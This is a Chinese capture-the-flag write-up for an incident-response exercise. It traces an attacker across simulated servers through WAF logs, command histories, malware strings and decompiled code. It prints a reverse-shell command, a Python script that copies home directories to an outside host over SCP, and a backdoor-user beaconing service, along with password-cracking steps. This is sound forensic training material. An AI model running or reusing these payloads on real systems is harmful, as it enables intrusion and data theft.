帕鲁杯2_应急响应主线
parloo应急响应主线
1-10 题分析
-
堡垒机中的提交堡垒机中留下的flag
打开jumpServer的控制台,flag就在导航栏中的标签列表:
palu -
提交WAF中隐藏的FLAG:
打开WAF的控制台网站,打开导航栏(如果浏览器页面太小可能会被折叠)中的身份认证,点击配置即可看到用户名记录 palu -
提交Mysql中留下的flag: palu{Mysql_@2025}
-
提交攻击者的攻击IP(注意是攻击):palu{192.168.20.107}
查看waf的攻击记录日志即可: -
提交攻击者最早攻击的时间:Palu{2025-05-05-00:04:40}
上一题有,注意flag的格式palu{xxxx-xx-xx-xx:xx:xx}后两个符号是':' ,我就是因为这个一开始没有通过。 -
web服务泄露的关键文件名:palu{key.txt}
waf,4个服务的路由配置
-
题解泄露的邮箱地址: Palu{parloo@parloo.com}
去访问这个/bak/key.txt文件:http://192.168.20.102:80/bak/key.txt 即可拿到
-
提交立足点服务器ip地址: Palu{192.168.20.108}
根据103:16303/logs/website的网络日志可以发现192.168.20.108这个IP一直在进行大量请求,不乏一些可疑的攻击行为,比如弱口令尝试,文件上传等。所以这个IP就是攻击者使用的跳板机(sshserver) -
提交攻击者使用的提权的用户和密码
登录ssh主机,history一下或是直接对比一下passwd shadow两个文件,发现它们的时间戳不一样,可能创建了新的用户,然后我们看一下passwd文件,发现新用户parloo。
尝试获取它的密码,由于有shadow,不会存密码的明文,不过可以拿到它的哈希值,再利用John就可以进行爆破: john --format=crypt 1.txt ,其中1.tzt是 passwd shadow的内容 unshadow /etc/passwd /etc/shadow > 1.txt -
提交攻击者留下的文件内容 : palu{hi_2025_parloo_is_hack}
尝试找一些有关这个用户的信息,于是cd /home/parloo (记得先获取权限,比如 chmod 777 /home/parloo) 然后发现了留下文件。
11-20 题解
- 提交权限维持方法服务的名称 Palu{rootset}
要找一个维权方法服务,我们先看看ps,systemctl等系统服务的信息,分析可能存在的系统维权程序,同时查找/etc/systemd/system里的内容,看看是不是存在可能的维权脚本。
ps -aux 或是top,ds查看一些系统自启动程序,或是频繁进行IO的程序,可能是病毒之类的。
root 790 0.0 0.0 2668 1792 ?SS 08:43 0:00 /usr/bin/b4b40c44ws
root 795 0.0 0.0 2668 1792 ?SS 08:43 0:00 /usr/bin/b4b40c44us
然后再在/etc/systemd/system/中找到可疑的的服务
接着直接搜索相关的文件:
打开内容,发现它们就是在启动之前发现的潜在的恶意程序:
发现似乎有两个个启动程序,两个都没提交成功,取一个共有值rootset成功了
- 找出攻击者使用的恶意服务器地址: Palu{47.101.213.153}
找一下最近/usr/bin修改过的文件
用strings 打开之前分析的可以文件b4b40c44ws: strings b4b40c44ws | less
/tmp/1og_de.10g
GET /?a=%s&h=%s&t=%s&p=%d HTTP/1.1 47.101.213.153
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:48.0) Geck0/20100101 Firefox/48.0Host: %s:%d
-
找到系统中被劫持的程序程序名作为flag提交
一开始提交b4b40c44ws但是发现不是。于是又仔细找了一下。上一题我们发现/usr/bin/目录下的用改动的痕迹,竟然id文件被修改了(它是显示用户属性的命令)。用strings查看一下情况,发现它和b4b40c44ws基本一致,所以估计也是一个Troyan病毒。 Palu -
找到系统中存在信息泄露的服务运行端口作为flag:
打开server01的管理页面:Webserver01_网站,发现两个管理的网站,端口分别是8081,一个是默认的(80)。其中8081是员工档案管理,所以是主要的信息泄露的服务。
palu -
提交Parloo公司项目经理的身份证号作为flag提交 Palu{310105198512123456}
打开的103:8081网站,可以看出两个员工信息。 -
提交存在危险功能的操作系统路径作为flag提交。格式为palu{/xxx/xxx}
http://192.168.20.102:8081/admin/parloo 可以发现有RCE -
提交进源机器中恶意程序的MD5作为flag进行提交。 flag格式为palu{MD5小写}
直接将那个svhost.exe文件进行MD5值计算即可:Palu{0f80a82621b8c4c3303d198d13776b34}
MD5 的 .\svhost.exe.exe 哈希:
0f80a82621b8c4c3303d198d13776b34
CertUtil: -hashfile 命令成功完成。 -
提交攻击者留下的恶意账户名称md5后作为flag进行提交。 格式为palu{md5{xxxxx}}
这个用户要在sql数据库里面找在gitea_6jdfy6的表中。
尝试了一下,发现是hack这个用户:d78b6f30225cdc811adfe8d4e7c9fd34
Palu -
提交内部群中留下的flag并提交:
这个没什么难度,3个客户机的内网通账号都能打开群聊,看到这条子怡发的消息:
palu -
请提交攻击者使用维护页面获取到的敏感内容作为flag进行提交
根据我们之前发现的一个parloohack_script.service和对应用户,我们尝试去查看一下他使用命令的记录。
前发现存在一个command.log文件
用find / -name "*command.log"
查看/var/log/parloo/command.log,search一下palu结果:palu{Server_Parloo_2025}
21-30 题解
-
交获取敏感内容IP的第一次执行命令时间作为flag进行提交。flag格式为palu{xxxx-xx-xx:xx:xx:xx}
还是在command.log中:找到他第一次查看command.log时的记录
Palu{2025-05-04:15:30:38}
-
提交攻击者使用的恶意ip和端口flag格式为palu{xx.xx.xx.xx:xxxx}
在command.log中发现攻击链: bash -i >& /dev/tcp/10.12.12.13/9999 0
Palu -
提交重要数据的内容作为flag提交
- parloo3中有一个 重要数据.txt在桌面
- gitea 中存在hack用户,仓库responsitory有加密脚本
- 密钥是:MySecreKey
Palu
-
提交恶意维权软件的名称作为flag进行提交
Palu -
提交恶意程序的外联地址
在palu03的机器中存在一个py的可执行文件:ipconfig
- 用pyinstxtractor提取 出一个恶意程序1.pyc
- 用pyc反编译器反编译出代码:
# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.8
import os
import paramiko
from scp import SCPClient
from pathlib import Path
def create_ssh_client(server, port, username, password, key_path = (None, None)):
'''
创建SSH客户端连接
'''
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# WARNING: Decompyle incomplete
def transfer_directory(scp, local_path, remote_path):
'''
递归传输目录
'''
for item in os.listdir(local_path):
local_item = os.path.join(local_path, item)
if os.path.islink(local_item):
print(f'''跳过符号链接: {local_item}''')
continue
remote_item = os.path.join(remote_path, item)
if os.path.isdir(local_item):
try:
scp.mkdir(remote_item)
finally:
pass
transfer_directory(scp, local_item, remote_item)
continue
print(f'''传输文件中: {local_item}''')
scp.put(local_item, remote_item)
continue
return None
def main():
ssh_config = {
'server': '88.173.90.103',
'port': 22,
'username': 'ubuntu',
'password': 'OOWPWPWADADA' }
local_home = '/home'
remote_base = '/home/ubuntu/backup_home'
# WARNING: Decompyle incomplete
if __name__ == '__main__':
main()
大致解读一下以上代码,发现他是在使用SCP在传输文件,连接的是外联服务器88.173.90.103
-
提交攻击这使用的恶意dnslog域名作为flag进行提交
注意:whoami.是子域名,不用填上去。Palu -
提交寻找反序列化漏洞的端口作为flag进行提交
(这道题不用做,就直接把所有网站的端口丢上去试都可以解出)。要找反序列化漏洞,要在网站等应用中找,先看看webserver的网站吧,但是发现它们两个都是8081,80静态网站,不会用到序列化,排除。再看看waf给出的网站列表,看看102:9999的情况:尝试登录一下,没看出POST做了什么反序列化,抓个包试试。结果也是没有反序列化。
再看看雷池WAF中的攻击日志,过滤未拦截的反序列化,根据相应内容,只有这个302重定向了。
palu -
提交web服务泄露的密钥作为flag进行提交
- 102:9999使用的是shiro框架,有对应的shiro550反序列化漏洞
- 利用heapdump得到密钥QZYysgMYhG6/CzIJlVpR2g==
-
提交攻击者开始攻击的时间
暂时没有找到解 -
提交攻击者在server中留下的账户密码作为flag进行提交。flag格式为palu{username/password}
Palu
31-40题解
- 提交攻击者维权方法的名称作为flag进行提交
之前我们查看的.bash_history中存在一个vim /etc/systemd/system/parloohack_script.service的操作,估计就是这个维权脚本。打开后查看:
可以确认就是了,因为python3.3.py是一个向外攻击的脚本,一直向111.111.111.111:7777发送请求,创建后门用户parloohackbak,代码如下:
import subprocess
import requests
import time
def check_user_exists(username):
try:
subprocess.check_output(['id', username])
return True
except subprocess.CalledProcessError:
return False
def create_user(username, password):
try:
subprocess.run(['sudo', 'useradd', '-m', username], check=True)
subprocess.run(['echo', f'{username}:{password}', '|', 'sudo', 'chpasswd'], check=True)
print(f"User {username} created successfully.")
except subprocess.CalledProcessError as e:
print(f"Failed to create user {username}: {e}")
def send_get_request(url):
try:
response = requests.get(url, timeout=5) # 设置超时时间为 5 秒
if response.status_code == 200:
print(f"GET request to {url} succeeded. Status code: {response.status_code}")
else:
raise Exception(f"GET request to {url} failed. Status code: {response.status_code}")
except requests.RequestException as e:
raise Exception(f"Failed to send GET request to {url}: {e}")
def main():
username = 'parloohack'
backup_username = 'parloohackbak'
password = '111111'
url = 'http://111.111.111.111:7777'
if not check_user_exists(username):
create_user(backup_username, password)
else:
print(f"User {username} already exists.")
while True:
try:
send_get_request(url)
except Exception as e:
print(e)
break # 如果访问失败,抛出异常并退出循环
time.sleep(10) # 每 10 秒检测一次
if __name__ == "__main__":
main()
Palu{parloohack_script.service}
4123940b3911556d4bf79196cc008bf4
33. 提交攻击者留下的溯源信息作为flag进行提交
其他机器都没有谷歌浏览器,唯独PC2有,翻设置和历史翻到保存密码
palu{X5E1yklz1oAdyHBZ}
34. 提交攻击者的githubID作为flag进行提交
上一道题有得到一个奇怪的ID,用QQ搜是一个QQ号码,但是加不了好友,也没有签名,用空间看一下:
得到Palu{ParlooSEc}
35. 提交攻击者在github下留下的的内容作为flag进行提交
palu{s5o3WkX33hptyJjk}
36. 提交恶意用户的数量作为flag进行提交
palu{99}
-
提交恶意用户的默认密码作为flag进行提交
palu -
提交业务数据中攻击者留下的信息作为flag进行提交
之前我们在数据库还获得了两个flag,拿来试试:
palu -
提交私人git仓库中留下的内容作为flag进行提交
打开192.168.20.103:3000去访问git仓库,发现需要先找到它的密码(资产名单没有写密码)。找了一圈,没有什么特别的信息,于是去看看服务器上有啥信息。发现存在一个新用户git在server01上。于是尝试利用这个用户去更改gitea的登录密码:
再登录到amdin用户查看私有仓库中的项目:
得到一个base64的字符串:cGFsdXtGTzY1U3J1dVR1a2RwQlM1fQ== 解码得到flag
palu -
提交存在在mysql服务器中的恶意程序的MD5作为flag进行提交
打开服务器,打开/root目录(现将其属主改为ubuntu:sudo chown ubuntu:ubuntu -R /root)查看命令记录less .bash_history:
curl -sSL https://resource.fit2cloud.com/1panel/package/quick_start.sh -o quick_start.sh && sudo bash quick_start.sh
ls
gcc
apt install gcc
vim ey.cpp
gcc ey.cpp
sudo apt install g++
gcc ey.cpp
ls
chmod +x a.out
./a.out
ls
rm -rf ey.cpp
ls
mv a.out .a
ls
./.a
ls
md5sum ,a
md5sum .a
cp .a /home/ubuntu/.a
]
ls
srm -rf /home/ubuntu/.a
ls
rm -rf /home/ubuntu/.a
ls
./.a
发现他曾经编译过一个/root/.a并将其删除/home/ubuntu/.a (/root/.a是原件,仍在)
palu{ba7c9fc1ff58b48d0df5c88d2fcc5cd1}
41-47题
-
提交恶意程序中模拟c2通信的函数名称作为flag进行提交
IDA 打开.a文件,F5 即可。
palu -
提交恶意程序创建隐藏文件的名称作为flag提交
IDA追踪查看create_hidden_file();函数得到文件隐藏名称。
palu -
提交恶意程序中模拟权限提升的函数作为flag进行提交
查看simulate_privilege_escalation()函数
palu -
提交被钓鱼上线的用户名作为flag进行提交
打开parloo2的机子发现聊天记录有一个钓鱼文件,是parloo-沉沉发来的
palu -
提交恶意程序的所在路径作为flag进行提交
C:\Users\Public\Nwt\cache\recv\Parloo-沉沉 -
分析恶意程序的反连地址作为flag进行提交
pc2的谷歌浏览器保存地址 palu -
提交恶意c2的服务器登录的账号密码作为flag进行提交。flag格式为palu{username/password}
palu